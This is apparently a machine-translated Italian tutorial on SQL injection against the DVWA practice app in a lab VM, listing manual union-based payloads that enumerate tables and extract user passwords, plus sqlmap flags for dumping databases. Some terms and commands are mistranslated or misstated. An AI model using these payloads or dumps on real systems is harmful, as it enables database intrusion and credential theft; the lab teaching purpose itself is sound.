Condivisione della tecnologia

[Sviluppo del test]--Test di penetrazione della sicurezza

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

1. Penetrazione della sicurezza

1.1 Classificazione

  • sicurezza del database web
  • Sicurezza del server delle applicazioni Web (vulnerabilità del caricamento di file, vulnerabilità dell'inclusione di file)
  • Sicurezza del client Web (attacco cross-site XSS)

2. iniezione sql

2.1 Introduzione all'SQL Iniezione

  • L'SQL injection è in cima alla lista dei problemi di sicurezza
  • L'attacco SQL injection consiste nel fatto che i parametri di input non vengono filtrati e quindi inseriti direttamente nell'istruzione SQL per l'analisi.
  • L'SQL injection è una tecnica di attacco che aggiunge codice SQL ai parametri di input e lo passa al server per l'analisi e l'esecuzione.

2.2 Principio dell'iniezione SQL

  • L'aggressore inserisce caratteri dannosi nella pagina
  • Il server non filtra i parametri inviati oppure il filtraggio è insufficiente.
  • Gli aggressori utilizzano istruzioni SQL di splicing per ottenere informazioni sensibili dal database

2.3 Pericoli della sql injection

  • Perdita del database
  • I dati dell'utente sono stati acquistati e venduti illegalmente
  • Compromettere la sicurezza delle applicazioni web

2.4 Metodo di implementazione dell'iniezione SQL

  • Manuale
    • Trova: punto di iniezione
    • Input: sintassi della combinazione di iniezione comune SQL per l'iniezione
  • automatico (strumento)
    • Strumento: scansione dei punti di iniezione
    • Input: prova automaticamente varie combinazioni di sintassi

3.Configurazione dell'ambiente

3.1 macchina virtuale vmware

3.1.1 Funzione

  • Software per macchine virtuali: è possibile utilizzare il software per installare più sistemi operativi virtuali (Linux, Windows) su macchine fisiche
  • I droni e i penetranti target vengono eseguiti con il software VMware
    Tutorial per scaricare VMware

3.2 Drone bersaglio (imparare a utilizzare l'ambiente del progetto)

effetto

3.3 Macchina di penetrazione (imparare ad attaccare l'ambiente di iniezione SQL)

effetto:

  • Kali contiene centinaia di strumenti che possono essere utilizzati per varie attività di sicurezza delle informazioni come test di penetrazione e ricerche sulla sicurezza

4. Iniezione manuale

4.1 Preparazione dell'ambiente

Descrizione: Esercitati con l'iniezione manuale tramite l'applicazione web del drone
fare un passo:

  • Avvia il drone target OWASP
    Inserisci qui la descrizione dell'immagine

  • Accedi al drone tramite un browser

  • Visita il progetto OWASP-dvwa
    Inserisci qui la descrizione dell'immagine

  • Login
    Inserisci qui la descrizione dell'immagine

  • Selezionare l'applicazione SQL Injection
    Inserisci qui la descrizione dell'immagine

4.2 Trovare il punto di iniezione

Nota: utilizzare principalmente virgolette singole e caratteri di escape, principalmente virgolette singole
principio:

#后台程序sql语句
select first_name,last_name from users where user_id = '$id';
#输入单引号('),相当于将sql语句闭合,后面就可以使用附加其他逻辑条件了
select first_name,last_name fro users where user_id = ''';
  • 1
  • 2
  • 3
  • 4

Inserisci qui la descrizione dell'immagine

Inserisci qui la descrizione dell'immagine

4.3 OR logico

Inserisci qui la descrizione dell'immagine

4.4 Indovina il numero di colonne

  1. per unione
' union select 1,2 #
  • 1

Inserisci qui la descrizione dell'immagine
2. Con OR logico

'or 1=1#
  • 1

Inserisci qui la descrizione dell'immagine

4.5 Ottieni database, tabelle e colonne

Ottieni il nome del database

' union select 1,database()#
  • 1

Inserisci qui la descrizione dell'immagine
Prendi un tavolo

' union select table_name,1 from information_schema.tables where table_schema='dvwa' #
  • 1

Inserisci qui la descrizione dell'immagine

Ottieni colonna

' union select column_name,1 from information_schema.columns where table_name='users' #
  • 1

Inserisci qui la descrizione dell'immagine

4.6 Ottenere dati

//1. 获取单个字段数据
' union select user,1 from users#

//2. 获取两个字段
' union select user,password from users#
  • 1
  • 2
  • 3
  • 4
  • 5

Inserisci qui la descrizione dell'immagine

4.7 funzione concat

Funzione: unire più stringhe in una stringa
Sintassi: concat(str1,str2,…)
Esempio:

  • Ottieni user_id, utente, password dalla tabella utenti e visualizzali in due colonne
select user_id,concat (user,password) from dvwa,users;
  • 1

Inserisci qui la descrizione dell'immagine

  • Risolvi il problema di unire insieme utente e password
select user_id,concat('user:',user,' password:',password) from dvwa.users;
  • 1

Inserisci qui la descrizione dell'immagine

  • Ottieni più campi
' union select user,concat(first_name,' ',last_name,' ',password) from users#
  • 1

Inserisci qui la descrizione dell'immagine

5. Iniezione automatica

5.1 Introduzione all'iniezione automatica

Nota: l'iniezione automatica si riferisce all'utilizzo di strumenti anziché al lavoro manuale per completare le operazioni di iniezione SQL.
Strumento: sqlmap

5.2 Iniettare automaticamente l'ambiente

  • Avvia il drone
  • Avviare la macchina di penetrazione

5.3 mappa sql

Strumento: sqlmap

  • Uno strumento di test di penetrazione open source
  • Rileva e sfrutta automaticamente le vulnerabilità SQL injection e prendi il controllo dei server database
    Costruire:

5.3.1 Utilizzo di base di sqlmap

parametro

  • -u: esegue la scansione dell'URL di destinazione
  • –batch: elabora automaticamente le informazioni del prompt
  • –cookie: parametri aggiuntivi dei cookie

fare un passo

  • Scansione del punto di iniezione
  • Ottieni il nome del database
  • Ottieni il nome della tabella
  • Ottieni il nome del campo
  • recuperare i dati

Poiché dobbiamo effettuare l'accesso, otteniamo prima il cookie della pagina in cui abbiamo effettuato l'accesso
Inserisci qui la descrizione dell'immagine
Quindi inizia a scansionare il punto di iniezione
Inserisci qui la descrizione dell'immagine
Iniezione riuscita
Inserisci qui la descrizione dell'immagine

5.3.2 sqlmap ottiene il nome della libreria

– current-db: interroga il nome del database utilizzato dal web corrente
-D: applica il database specificato
Inserisci qui la descrizione dell'immagine
risultato dell'operazione:
Inserisci qui la descrizione dell'immagine

5.3.3 sqlmap ottiene la tabella

– current-db: interroga tutti i nomi delle tabelle nella libreria specificata (è necessario utilizzare -D per specificare prima il nome della libreria)
-T: specifica la tabella
Inserisci qui la descrizione dell'immagine

risultato dell'operazione:
Inserisci qui la descrizione dell'immagine

5.3.4 sqlmap ottiene colonne

– colonne: interroga tutti i campi nella tabella specificata (è necessario utilizzare -T per specificare prima il nome della tabella)
-C: specificare il nome del campo

Inserisci qui la descrizione dell'immagine
risultato dell'operazione:
Inserisci qui la descrizione dell'immagine

5.3.5 sqlmap ottiene i dati

–dump: scarica i dati

Inserisci qui la descrizione dell'immagine
risultato dell'operazione:
Inserisci qui la descrizione dell'immagine